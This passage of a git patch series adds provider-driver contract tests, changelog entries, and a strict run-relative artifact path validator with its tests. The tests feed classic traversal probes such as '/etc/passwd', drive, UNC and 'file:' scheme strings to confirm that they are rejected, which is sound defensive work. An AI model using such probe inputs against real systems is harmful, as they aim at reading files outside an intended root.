DRIVER_RESULT_REQUIRED_KEYS]) { + assert.ok(Object.isFrozen(keySet)); + } + const description = describeProviderDriverContractV1(); + assert.equal(description.schema, PROVIDER_DRIVER_SCHEMA_ID); + assert.equal(description.capability_schema_id, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID); + assert.equal(description.capability_record_keys.length, 13); + assert.deepEqual(description.relaunch_operations, []); + assert.deepEqual([...description.transports], []); + assert.deepEqual(description.dispositions, { + preflight: [...DRIVER_DISPOSITIONS.preflight], + launch: [...DRIVER_DISPOSITIONS.launch], + reconcile: [...DRIVER_DISPOSITIONS.reconcile], + cancel: [...DRIVER_DISPOSITIONS.cancel], + }); + assert.deepEqual(describeProviderDriverContractV1(), description); +}); + +test('driver declarations project the complete P05 13-field capability record', () => { + const validated = validateDriverDeclarationV1(declaration); + for (const key of CAPABILITY_RECORD_ALLOWED_KEYS) { + assert.ok(Object.hasOwn(validated.capability, key), `missing ${key}`); + } + assert.equal(validated.capability.schema, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID); + assert.equal(validated.capability.provider, 'dsh'); + assert.equal(validated.capability.same_session_reply, 'unsupported_unresolved_attention'); + assert.equal(validated.capability.dispatch_certainty, 'uncertain_after_spawn'); + assert.equal(validated.capability.replay_posture, 'never_replay'); + assert.match(validated.capability.source_digest, /^sha256:[0-9a-f]{64}$/u); + assert.ok(Object.isFrozen(validated)); + assert.ok(Object.isFrozen(validated.capability.artifact_kinds)); +}); + +test('four-field capability stubs and cross-field mismatches fail closed', () => { + const stub = { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + provider: 'grok', + same_session_reply: 'live_session_reply', + dispatch_certainty: 'confirmed_launch', + workspace_semantics: 'local_managed_worktree', + }, + features: declaration.features, + }; + expectCode(() => validateDriverDeclarationV1(stub), 'invalid_capability_revision'); + + expectCode(() => validateDriverDeclarationV1(driverDeclaration('grok', {}, { + same_session_reply: 'unsupported_unresolved_attention', + })), 'capability_reply_mismatch'); + expectCode(() => validateDriverDeclarationV1(driverDeclaration('dsh', {}, { + dispatch_certainty: 'confirmed_launch', + })), 'capability_dispatch_certainty_mismatch'); +}); + +test('every operation accepts its exact compiled-envelope proof request', () => { + for (const operation of DRIVER_OPERATIONS) { + const view = REQUEST_VALIDATORS[operation](requestFor(operation)); + assert.equal(view.operation, operation); + assert.equal(view.envelope.run_id, DRIVER_SUITE_RUN_ID); + assert.equal(view.envelope.repository.base_sha, DRIVER_SUITE_BASE_SHA); + assert.equal(view.child_envelope_digest, fixture.child_envelope_digest); + assert.match(view.operation_digest, /^sha256:[0-9a-f]{64}$/u); + assert.ok(Object.isFrozen(view.request)); + } +}); + +test('requests carry their own operation schema and reject reuse across operations', () => { + for (const operation of DRIVER_OPERATIONS) { + for (const [other, validate] of Object.entries(REQUEST_VALIDATORS)) { + if (other === operation) { + assert.doesNotThrow(() => validate(requestFor(operation))); + continue; + } + expectCode(() => validate(requestFor(operation)), 'schema_mismatch'); + } + } +}); + +test('a digest-only launch is forbidden and other operations still demand bytes', () => { + expectCode(() => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'digest_only_launch_denied'); + expectCode(() => validateDriverReconcileRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.reconcile, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'missing_key'); +}); + +test('results use the closed disposition vocabulary and P05 honesty rules', () => { + for (const disposition of DRIVER_DISPOSITIONS.preflight) { + assert.doesNotThrow(() => validateDriverPreflightResultV1( + resultFor('preflight', disposition, detailForPreflight(disposition)), + requestFor('preflight'), declaration, + )); + } + for (const disposition of DRIVER_DISPOSITIONS.launch) { + if (disposition === 'dispatched') { + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', disposition, detailForLaunch(disposition)), + requestFor('launch'), declaration, + ), 'capability_dispatch_certainty_mismatch'); + continue; + } + assert.doesNotThrow(() => validateDriverLaunchResultV1( + resultFor('launch', disposition, detailForLaunch(disposition)), + requestFor('launch'), declaration, + )); + } + const grok = driverDeclaration('grok'); + const grokEnvelope = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + execution: { provider: 'grok', model: 'grok-4' }, + }], + }, fixture.assignment_id); + const grokRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: grokEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(grokEnvelope).digest, + }; + assert.doesNotThrow(() => validateDriverLaunchResultV1( + driverResultFor('launch', grokRequest, 'dispatched'), grokRequest, grok, + )); + expectCode(() => validateDriverReconcileResultV1( + resultFor('reconcile', 'settled'), requestFor('reconcile'), declaration, + ), 'invalid_format'); +}); + +test('bounded detail pairs follow the per-disposition rules', () => { + expectCode(() => validateDriverPreflightResultV1( + resultFor('preflight', 'blocked'), requestFor('preflight'), declaration, + ), 'missing_key'); + expectCode(() => validateDriverPreflightResultV1( + resultFor('preflight', 'ready', { detail_code: 'why', detail_message: 'no' }), + requestFor('preflight'), declaration, + ), 'detail_pair_denied'); + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', 'not_sent'), requestFor('launch'), declaration, + ), 'missing_key'); + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', 'dispatch_uncertain', { detail_code: 'why', detail_message: 'no' }), + requestFor('launch'), declaration, + ), 'detail_pair_denied'); +}); + +test('results must echo the exact child identity proven by the request', () => { + for (const override of [ + { run_id: 'other-run' }, + { assignment_id: 'other-lane' }, + { lane_index: 1 }, + { base_sha: 'ffffffffffffffffffffffffffffffffffffffff' }, + ]) { + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', 'dispatch_uncertain', override), requestFor('launch'), declaration, + ), 'receipt_identity_mismatch'); + } +}); + +test('the bound surface enforces preflight, no-replay, and feature gates', () => { + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), declaration); + expectCode(() => bound.launch(requestFor('launch')), 'not_preflighted'); + assert.equal(bound.preflight(requestFor('preflight')).disposition, 'ready'); + assert.equal(bound.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + expectCode(() => bound.launch(requestFor('launch')), 'replay_denied'); + assert.equal(bound.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(bound.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); +}); + +test('blocked preflight cannot launch and not_sent cannot be reconciled', () => { + const blocked = bindProviderDriverV1(scriptedProviderDriverV1({ preflight: 'blocked' }), declaration); + assert.equal(blocked.preflight(requestFor('preflight')).disposition, 'blocked'); + expectCode(() => blocked.launch(requestFor('launch')), 'blocked_lane_denied'); + + const notSent = bindProviderDriverV1( + scriptedProviderDriverV1({ launch: 'not_sent' }), declaration, + ); + notSent.preflight(requestFor('preflight')); + assert.equal(notSent.launch(requestFor('launch')).disposition, 'not_sent'); + expectCode(() => notSent.reconcile(requestFor('reconcile')), 'not_dispatched'); + notSent.preflight(requestFor('preflight')); + assert.equal(notSent.launch(requestFor('launch')).disposition, 'not_sent'); +}); + +test('unsupported cancellation, restart, live progress, and events fail closed', () => { + const unsupported = driverDeclaration('dsh', { + cancellation: 'unsupported', + detailed_events: 'unsupported', + live_progress: 'unsupported', + restart: 'unsupported', + }); + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), unsupported); + bound.preflight(requestFor('preflight')); + bound.launch(requestFor('launch')); + expectCode(() => bound.cancel(requestFor('cancel')), 'unsupported_capability'); + expectCode(() => bound.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'unsupported_capability'); + expectCode(() => bound.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + 'unsupported_capability'); + expectCode(() => bound.reconcile(requestFor('reconcile', { include: ['detailed_events'] })), + 'unsupported_capability'); + expectCode(() => assertDriverFeatureV1(unsupported, 'live_progress'), 'unsupported_capability'); +}); + +test('supported restart_reattach is reconcile-only and never a relaunch', () => { + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), declaration); + bound.preflight(requestFor('preflight')); + bound.launch(requestFor('launch')); + const receipt = bound.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(receipt.disposition, 'terminal'); + expectCode(() => bound.launch(requestFor('launch')), 'replay_denied'); +}); + +test('P05 capability requirements fail closed without fallback', () => { + expectCode(() => assertCapabilityRequirementV1(declaration, { + same_session_reply: 'live_session_reply', + }), 'capability_reply_mismatch'); + expectCode(() => assertCapabilityRequirementV1(declaration, { + dispatch_certainty: 'confirmed_launch', + }), 'capability_dispatch_certainty_mismatch'); + const capability = assertCapabilityRequirementV1(declaration, { + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + }); + assert.equal(capability.provider, 'dsh'); +}); + +test('handlers are captured at bind time so later mutation cannot swap an operation', () => { + const driver = scriptedProviderDriverV1(); + const bound = bindProviderDriverV1(driver, declaration); + driver.launch = () => { + throw new Error('a swapped handler must never run'); + }; + bound.preflight(requestFor('preflight')); + assert.equal(bound.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + assert.ok(Object.isFrozen(bound)); +}); + +test('buildDriverOperationRequestV1 packages only proven envelope pairs', () => { + for (const operation of DRIVER_OPERATIONS) { + const request = buildDriverOperationRequestV1(operation, fixture.envelope); + assert.equal(request.schema, DRIVER_OPERATION_SCHEMA_IDS[operation]); + assert.equal(request.child_envelope_digest, fixture.child_envelope_digest); + assert.ok(Object.isFrozen(request)); + } + expectCode(() => buildDriverOperationRequestV1('relaunch', fixture.envelope), 'unknown_operation'); + const tamperedEnvelope = JSON.parse(JSON.stringify(fixture.envelope)); + tamperedEnvelope.write_scope.push('extra/**'); + expectCode(() => buildDriverOperationRequestV1('launch', tamperedEnvelope), 'envelope_shape_mismatch'); +}); + +test('stale envelope correlation and provider slot mismatch fail closed', () => { + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), declaration); + bound.preflight(requestFor('preflight')); + bound.launch(requestFor('launch')); + const otherEnvelope = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + prompt: 'A different prompt for the same lane identity.', + }], + }, fixture.assignment_id); + const otherRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.reconcile, + version: PROVIDER_DRIVER_VERSION, + envelope_text: otherEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(otherEnvelope).digest, + }; + expectCode(() => bound.reconcile(otherRequest), 'stale_identity_denied'); + expectCode( + () => bindProviderDriverV1(scriptedProviderDriverV1(), driverDeclaration('grok')) + .preflight(requestFor('preflight')), + 'provider_slot_mismatch', + ); +}); + +test('driver shape validation accepts exactly the four own-function operations', () => { + const driver = scriptedProviderDriverV1(); + const summary = assertProviderDriverV1(driver); + assert.deepEqual(summary.operations, [...DRIVER_OPERATIONS]); + expectCode(() => assertProviderDriverV1({ ...driver, retry: () => ({}) }), 'invalid_surface'); + expectCode(() => validateDriverCancelResultV1( + resultFor('cancel', 'cancel_confirmed', { schema: DRIVER_RESULT_SCHEMA_IDS.reconcile }), + requestFor('cancel'), declaration, + ), 'schema_mismatch'); +}); From bafa8d72d89503fcec5c2d88d3920222de0a8a38 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 19:31:41 +0000 Subject: [PATCH 003/151] docs(changelog): record the P17 driver contract Document the closed envelope/capability contract, P05 13-field alignment, honest feature failures, and that P18/P20/P19/P21 still own concrete transports. Future work keeps the run runtime, candidate composition, and AttentionBatchV1 unimplemented. --- CHANGELOG.md | 16 ++++++++++++++++ docs/future-work.md | 15 +++++++++++---- 2 files changed, 27 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 24f2801..2bfdbe9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,22 @@ ### Added +- **Closed P17 provider-driver envelope and capability contract.** Additive + `ProviderDriverV1` owns the preflight/launch/reconcile/cancel lifecycle + plus typed results, exact ChildEnvelopeV1 launch proof (text bytes and + raw lowercase 64-hex P03 digest; digest-only launches are denied), and + honest capability declaration through the accepted P05 13-field + `ProviderCapabilitiesV1` bridge rather than a parallel schema. + Driver-surface features for same-session-adjacent live progress, + reconcile-only restart reattach, cancellation, and detailed events fail + closed when unsupported, with no fallback or post-dispatch replay. + Process-local status transitions refuse duplicate dispatch, stale + envelope correlation, and capability-contradicting launch certainty. + Direct-JS inputs use the P05 descriptor-first closure; validated values + are detached and deeply frozen. The module claims no provider transport, + registry cutover, scheduler, or durable store. Coverage lives in + `r1-provider-driver` and `r1-provider-driver-adversarial` tests plus the + reusable `provider-driver-contract-suite` harness. - **Deterministic P05 resolver and P17 capability bridge.** Additive `resolveRunSelectionV1` / `resolveSelectionAnswersV1` bind every assignment's provider/model from authored explicit execution, the diff --git a/docs/future-work.md b/docs/future-work.md index 9bf116f..1f20fe7 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-21 +Last updated: 2026-08-22 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -15,9 +15,16 @@ identity, with deterministic explicit/profile resolution, no direct mode on run submissions, disjoint writers, read-only verification, no post-dispatch fallback or replay, and Codex-only final acceptance. -This worktree does not implement the run runtime, candidate composition, -or `AttentionBatchV1`. Gate A remains the functional release authority; -Gate B context-efficiency and Gate C credit economics stay advisory. +The P17 `ProviderDriverV1` envelope/capability contract is in-tree as a +pure contract and provider-agnostic conformance harness. It validates +preflight/launch/reconcile/cancel requests and results against the +accepted P05 13-field capability bridge. It does not implement Grok, +Cursor Local, DSH, or Cursor Cloud transports, registry cutover, +scheduler, or durable store; those remain P18/P20/P19/P21 and later +run-runtime work. This worktree does not implement the run runtime, +candidate composition, or `AttentionBatchV1`. Gate A remains the +functional release authority; Gate B context-efficiency and Gate C +credit economics stay advisory. ## Durable, low-token agent completion waits From a28b3ed7d075376affff921c5d19ef3f73e43d45 Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 19:45:10 +0000 Subject: [PATCH 004/151] feat(v3): add the strict relative artifact path policy Answer exactly one question deterministically and fail closed: is this string a strict portable run-relative artifact path? Accept only NFC, well-formed, forward-slash, relative paths of 1..16 segments (128 UTF-8 bytes each, 1024 total). Reject backslashes, leading/trailing/doubled slashes, empty and dot-only segments, colons (foreclosing drive, UNC, alternate-data-stream, and scheme spellings under one rule), Windows reserved device stems with the extension ignored, edge dots/spaces that Windows tooling strips, C0/C1 controls, invisible/format/bidi/tag code points, solidus look-alikes, non-NFC text, and lone surrogates while keeping well-formed astral characters legal. The fixed validation pipeline raises identical first typed errors from a closed 17-code vocabulary, never echoes hostile bytes (U+ notation and offset only), captures every dynamic intrinsic at import, scans strings by code points, and returns deep-frozen detached descriptors. Pure path policy only: no filesystem, network, or process I/O, and no claim that P08 artifact storage exists. Focused hostile coverage pins the rejection matrix, ordering, bounds parity, predicate agreement, and detachment. --- .../mcp/v3/artifact-path.mjs | 355 ++++++++++++++++++ .../test/r1-artifact-path.test.mjs | 163 ++++++++ 2 files changed, 518 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/artifact-path.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-path.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-path.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-path.mjs new file mode 100644 index 0000000..1b1a951 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-path.mjs @@ -0,0 +1,355 @@ +// ArtifactRelativePathV1 — strict portable relative artifact path policy +// (ADR 0001 identifiers `bounded_evidence`, +// `gate_a_valid_raw_and_sanitized_artifacts`, `exact_identities`). +// +// Additive v3 module for W3-P07. It owns exactly one question, answered +// deterministically and fail closed: is this string a strict portable +// run-relative artifact path? It answers nothing else: it never touches the +// filesystem, network, or process state, and it does NOT claim that artifact +// storage exists. The P08 store, sanitizer/reader, and evidence bundle are +// separate later surfaces; producers declare paths here and only a later +// storage authority may bind them to bytes. +// +// Accepted grammar — POSIX-style, forward-slash separated, case-sensitive, +// NFC-normalized UTF-8, relative and canonical by construction: +// - 1..ARTIFACT_PATH_MAX_SEGMENTS segments of 1..ARTIFACT_PATH_SEGMENT_MAX_BYTES +// each, total UTF-8 length 1..ARTIFACT_PATH_MAX_BYTES; +// - every segment non-empty and not made only of dots, so '.', '..' and +// '...' style traversal aliases cannot be spelled at all; +// - no backslash anywhere; no leading, trailing, or doubled '/'; +// - no ':' anywhere, which forecloses drive forms (`C:`), drive-relative +// spellings, NTFS alternate data streams (`file:ads`), and scheme tricks +// (`file:`) under one deterministic rule; +// - no Windows reserved device name as a segment stem (case-insensitive +// ASCII fold, extension ignored: `con`, `CON.txt`, `com1`, `lpt0`, +// `clock$` are rejected; whole stems like +// `concat`, `nullify`, and `auxiliary` are ordinary names and stay +// accepted); +// - no leading or trailing ASCII space and no trailing dot in a segment, +// which Windows tooling silently strips; +// - well-formed Unicode only (lone surrogates rejected) and exactly NFC: +// canonically equivalent but differently composed names are distinct +// byte strings, so the policy refuses to choose between them; +// - no C0/C1 control characters (NUL included), no invisible/format/ +// bidi-override/line-separator/tag code points, and no solidus +// look-alikes that render as separators a kernel will not see. +// +// Fixed validation pipeline: identical inputs always raise the identical +// first typed error, independent of how many rules they violate. The order +// is: type, empty, lone surrogates, total byte bound, NFC, backslash, +// leading slash, trailing slash, per-segment structure (count, empty, +// dot-only alias, reserved device stem, edge space/dot, segment bytes), +// then the whole-path character scan, which reports the FIRST offending +// code point in strict left-to-right order across the control, +// invisible/format, separator look-alike, and colon classes. Rejections +// carry stable codes from the closed +// ARTIFACT_RELATIVE_PATH_ERROR_CODES vocabulary and never echo the hostile +// character itself, only its U+ notation and offset. +// +// Intrinsic hardening: every dynamic surface used after caller input exists +// is captured once at clean import. String scanning is a manual indexed walk +// (captured codePointAt/charCodeAt/normalize/split/startsWith/endsWith), so +// a post-import patch of String iteration, RegExp, Array methods, or +// Buffer.byteLength can neither alter acceptance nor execute caller code. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { + capturedFreeze, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; + +export const ARTIFACT_PATH_POLICY_ID = 'codex-co-engineer.artifact-path.v1'; + +export const ARTIFACT_PATH_MAX_BYTES = 1024; +export const ARTIFACT_PATH_MAX_SEGMENTS = 16; +export const ARTIFACT_PATH_SEGMENT_MAX_BYTES = 128; + +export const ARTIFACT_RELATIVE_PATH_ERROR_CODES = capturedFreeze([ + 'absolute_path_denied', + 'alias_segment_denied', + 'colon_denied', + 'control_character_denied', + 'edge_character_denied', + 'empty_path', + 'empty_segment_denied', + 'invalid_encoding', + 'invalid_separator', + 'invalid_type', + 'invisible_character_denied', + 'out_of_range', + 'reserved_device_name_denied', + 'segment_count_exceeded', + 'segment_too_long', + 'separator_lookalike_denied', + 'trailing_slash_denied', +]); + +function fail(code, path, message) { + throw new RunContractV1Error(code, path, message); +} + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const FUNCTION_CALL = Function.prototype.call; +const callBound = (method) => FUNCTION_CALL.bind(method); +const STRING_CHAR_CODE_AT = callBound(String.prototype.charCodeAt); +const STRING_CODE_POINT_AT = callBound(String.prototype.codePointAt); +const STRING_NORMALIZE = callBound(String.prototype.normalize); +const STRING_SPLIT = callBound(String.prototype.split); +const STRING_STARTS_WITH = callBound(String.prototype.startsWith); +const STRING_ENDS_WITH = callBound(String.prototype.endsWith); +const STRING_FROM_CODE_POINT = String.fromCodePoint; +const STRING = String; + +const SEGMENT_SEPARATOR = '/'; +const EMPTY_STRING = ''; +const FULL_STOP = '.'; +const SPACE = ' '; +const BACKSLASH_CODE_POINT = 0x5c; +const COLON_CODE_POINT = 0x3a; +const FULL_STOP_CODE_POINT = 0x2e; +const SPACE_CODE_POINT = 0x20; + +// Closed invisible/format/bidi/line-separator/tag ranges. Anything here can +// change how a path renders or resolves while surviving casual review, so it +// is refused outright instead of being interpreted. +const INVISIBLE_RANGES = capturedFreeze([ + [0x00ad, 0x00ad], // soft hyphen + [0x061c, 0x061c], // Arabic letter mark + [0x180e, 0x180e], // Mongolian vowel separator + [0x200b, 0x200f], // zero-width series and LRM/RLM + [0x2028, 0x202e], // line/paragraph separators and bidi overrides + [0x2060, 0x2064], // word joiner and invisible operators + [0x2066, 0x2069], // bidi isolates + [0xfeff, 0xfeff], // BOM / zero-width no-break space + [0xfff9, 0xfffb], // interlinear annotation anchors + [0x1d173, 0x1d17a], // musical formatting controls + [0xe0001, 0xe0001], // language tag + [0xe0020, 0xe007f], // tag characters +]); + +// Solidus look-alikes: code points that display as slashes or backslashes on +// common platforms while remaining ordinary letters to a POSIX kernel, so a +// reviewer sees more separators than the resolver does. +const SEPARATOR_LOOKALIKES = capturedFreeze([ + 0x2044, // fraction slash + 0x2215, // division slash + 0x27cb, // mathematical rising diagonal + 0x27cd, // mathematical falling diagonal + 0x29f8, // big solidus + 0xfe68, // small reverse solidus + 0xff0f, // fullwidth solidus + 0xff3c, // fullwidth reverse solidus +]); + +// Windows reserved device names, compared case-insensitively against the +// stem before the first dot so `CON.txt` is caught exactly like `CON`. +const RESERVED_DEVICE_STEMS = capturedFreeze((() => { + const stems = ['AUX', 'CLOCK$', 'CON', 'NUL', 'PRN']; + for (let digit = 0; digit <= 9; digit += 1) { + const suffix = STRING(digit); + stems.push(`COM${suffix}`, `LPT${suffix}`); + } + return stems.sort(); +})()); + +function asciiUpperFold(text) { + let folded = EMPTY_STRING; + for (let index = 0; index < text.length; index += 1) { + const unit = STRING_CHAR_CODE_AT(text, index); + folded += unit >= 0x61 && unit <= 0x7a + ? STRING_FROM_CODE_POINT(unit - 0x20) + : text[index]; + } + return folded; +} + +function deviceStemOf(segment) { + const dot = segment.indexOf(FULL_STOP); + const stem = dot === -1 ? segment : segment.slice(0, dot); + if (stem.length === 0) return null; + const folded = asciiUpperFold(stem); + for (let index = 0; index < RESERVED_DEVICE_STEMS.length; index += 1) { + if (RESERVED_DEVICE_STEMS[index] === folded) return folded; + } + return null; +} + +function isDotOnlySegment(segment) { + for (let index = 0; index < segment.length; index += 1) { + if (segment[index] !== FULL_STOP) return false; + } + return segment.length > 0; +} + +function containsBackslash(value) { + for (let index = 0; index < value.length; index += 1) { + if (STRING_CHAR_CODE_AT(value, index) === BACKSLASH_CODE_POINT) return true; + } + return false; +} + +function assertWellFormed(value, path) { + // Walk code points, not code units: every astral character is two UTF-16 + // code units and both units live in the surrogate block, so a naive + // unit scan would condemn perfectly well-formed emoji or CJK extensions. + // Only an unpaired surrogate (which codePointAt reports as itself) fails. + let index = 0; + while (index < value.length) { + const codePoint = STRING_CODE_POINT_AT(value, index); + if (codePoint >= 0xd800 && codePoint <= 0xdfff) { + fail('invalid_encoding', path, + `${path} contains a lone surrogate at code-unit index ${index}; ` + + 'artifact paths must be well-formed Unicode.'); + } + index += codePoint > 0xffff ? 2 : 1; + } +} + +function assertTotalBytes(value, path) { + const bytes = capturedUtf8ByteLength(value); + if (bytes < 1 || bytes > ARTIFACT_PATH_MAX_BYTES) { + fail('out_of_range', path, + `${path} is ${bytes} UTF-8 bytes; allowed range is 1..${ARTIFACT_PATH_MAX_BYTES}.`); + } + return bytes; +} + +function assertNormalized(value, path) { + if (STRING_NORMALIZE(value, 'NFC') !== value) { + fail('invalid_encoding', path, `${path} is not NFC-normalized; artifact paths must use exactly NFC.`); + } +} + +function assertSlashShape(value, path) { + if (containsBackslash(value)) { + fail('invalid_separator', path, + `${path} must use '${SEGMENT_SEPARATOR}' separators; a backslash is not portable.`); + } + if (STRING_STARTS_WITH(value, SEGMENT_SEPARATOR)) { + fail('absolute_path_denied', path, + `${path} must be relative to the run's artifact root; absolute paths are denied.`); + } + if (STRING_ENDS_WITH(value, SEGMENT_SEPARATOR)) { + fail('trailing_slash_denied', path, + `${path} must name an artifact, not end with '${SEGMENT_SEPARATOR}'.`); + } +} + +function assertSegmentStructure(segments, path) { + if (segments.length > ARTIFACT_PATH_MAX_SEGMENTS) { + fail('segment_count_exceeded', path, + `${path} spans ${segments.length} segments; at most ${ARTIFACT_PATH_MAX_SEGMENTS} are allowed.`); + } + for (let index = 0; index < segments.length; index += 1) { + const segment = segments[index]; + if (segment.length === 0) { + fail('empty_segment_denied', path, `${path} contains an empty segment at position ${index}.`); + } + if (isDotOnlySegment(segment)) { + fail('alias_segment_denied', path, + `${path} segment ${index} is made only of dots; '.' and '..' style aliases are denied.`); + } + const reserved = deviceStemOf(segment); + if (reserved !== null) { + fail('reserved_device_name_denied', path, + `${path} segment ${index} uses reserved device name ${reserved}; device names are denied.`); + } + const last = segment.length - 1; + if (STRING_CHAR_CODE_AT(segment, last) === FULL_STOP_CODE_POINT + || STRING_CHAR_CODE_AT(segment, last) === SPACE_CODE_POINT + || STRING_CHAR_CODE_AT(segment, 0) === SPACE_CODE_POINT) { + fail('edge_character_denied', path, + `${path} segment ${index} has a leading space or a trailing dot/space that Windows tooling strips.`); + } + if (BUFFER_BYTE_LENGTH(segment, 'utf8') > ARTIFACT_PATH_SEGMENT_MAX_BYTES) { + fail('segment_too_long', path, + `${path} segment ${index} exceeds ${ARTIFACT_PATH_SEGMENT_MAX_BYTES} UTF-8 bytes.`); + } + } +} + +function codePointInRanges(codePoint, ranges) { + for (let index = 0; index < ranges.length; index += 1) { + const range = ranges[index]; + if (codePoint >= range[0] && codePoint <= range[1]) return true; + } + return false; +} + +function listContainsCodePoint(list, codePoint) { + for (let index = 0; index < list.length; index += 1) { + if (list[index] === codePoint) return true; + } + return false; +} + +function uNotation(codePoint) { + return `U+${codePoint.toString(16).padStart(4, '0')}`; +} + +function assertCharacterLegality(value, path) { + let offset = 0; + while (offset < value.length) { + const codePoint = STRING_CODE_POINT_AT(value, offset); + const width = codePoint > 0xffff ? 2 : 1; + if (codePoint < 0x20 || (codePoint >= 0x7f && codePoint <= 0x9f)) { + fail('control_character_denied', path, + `${path} contains control character ${uNotation(codePoint)} at code-point offset ${offset}.`); + } + if (codePointInRanges(codePoint, INVISIBLE_RANGES)) { + fail('invisible_character_denied', path, + `${path} contains invisible formatting character ${uNotation(codePoint)} at code-point offset ${offset}.`); + } + if (listContainsCodePoint(SEPARATOR_LOOKALIKES, codePoint)) { + fail('separator_lookalike_denied', path, + `${path} contains solidus look-alike ${uNotation(codePoint)} at code-point offset ${offset}.`); + } + if (codePoint === COLON_CODE_POINT) { + fail('colon_denied', path, + `${path} contains ':' at code-point offset ${offset}; colons are denied to foreclose drive, ` + + 'alternate-data-stream, and scheme spellings.'); + } + offset += width; + } +} + +// Validate one strict portable relative artifact path and return a detached, +// frozen descriptor over the accepted canonical form. The accepted form is +// exactly the submitted string: no trimming, case folding, separator +// rewriting, or Unicode re-encoding ever occurs, so two distinct accepted +// inputs always stay distinct. +export function validateArtifactRelativePathV1(value, path = 'relative_path') { + if (typeof value !== 'string') { + fail('invalid_type', path, `${path} must be a string.`); + } + if (value.length === 0) { + fail('empty_path', path, `${path} must not be empty.`); + } + assertWellFormed(value, path); + const bytes = assertTotalBytes(value, path); + assertNormalized(value, path); + assertSlashShape(value, path); + const segments = STRING_SPLIT(value, SEGMENT_SEPARATOR); + assertSegmentStructure(segments, path); + assertCharacterLegality(value, path); + return capturedFreeze({ + path: value, + segments: capturedFreeze([...segments]), + byte_length: bytes, + segment_count: segments.length, + }); +} + +// Boolean predicate twin of the validator: never throws, never partially +// accepts, and agrees with validateArtifactRelativePathV1 on every input. +export function isArtifactRelativePathV1(value) { + try { + validateArtifactRelativePathV1(value, 'relative_path'); + return true; + } catch { + return false; + } +} diff --git a/plugins/codex-co-engineer/test/r1-artifact-path.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-path.test.mjs new file mode 100644 index 0000000..8fbcaeb --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-path.test.mjs @@ -0,0 +1,163 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + ARTIFACT_RELATIVE_PATH_ERROR_CODES, + isArtifactRelativePathV1, + validateArtifactRelativePathV1, +} from '../mcp/v3/artifact-path.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +// Callers embed accepted paths under a schema field, so the pinned denial +// paths below use the same dotted field spelling an embedding contract uses. +function pathError(value, expectedCode, expectedPath = 'artifact_ref.relative_path') { + const error = errorOf( + () => validateArtifactRelativePathV1(value, expectedPath), + expectedPath, + ); + assert.equal(error.code, expectedCode, `path ${JSON.stringify(value)}`); + return error; +} + +// ---- Relative path policy: full rejection matrix. ------------------------- + +test('absolute, drive, UNC, device, and traversal forms are all foreclosed', () => { + pathError('', 'empty_path'); + pathError('/etc/passwd', 'absolute_path_denied'); + pathError('//double/leading', 'absolute_path_denied'); + pathError('C:/Users/diff.patch', 'colon_denied'); + pathError('C:diff.patch', 'colon_denied'); + pathError('\\\\server\\share\\x', 'invalid_separator'); + pathError('runs\\\\diff.patch', 'invalid_separator'); + pathError('file:text/plain', 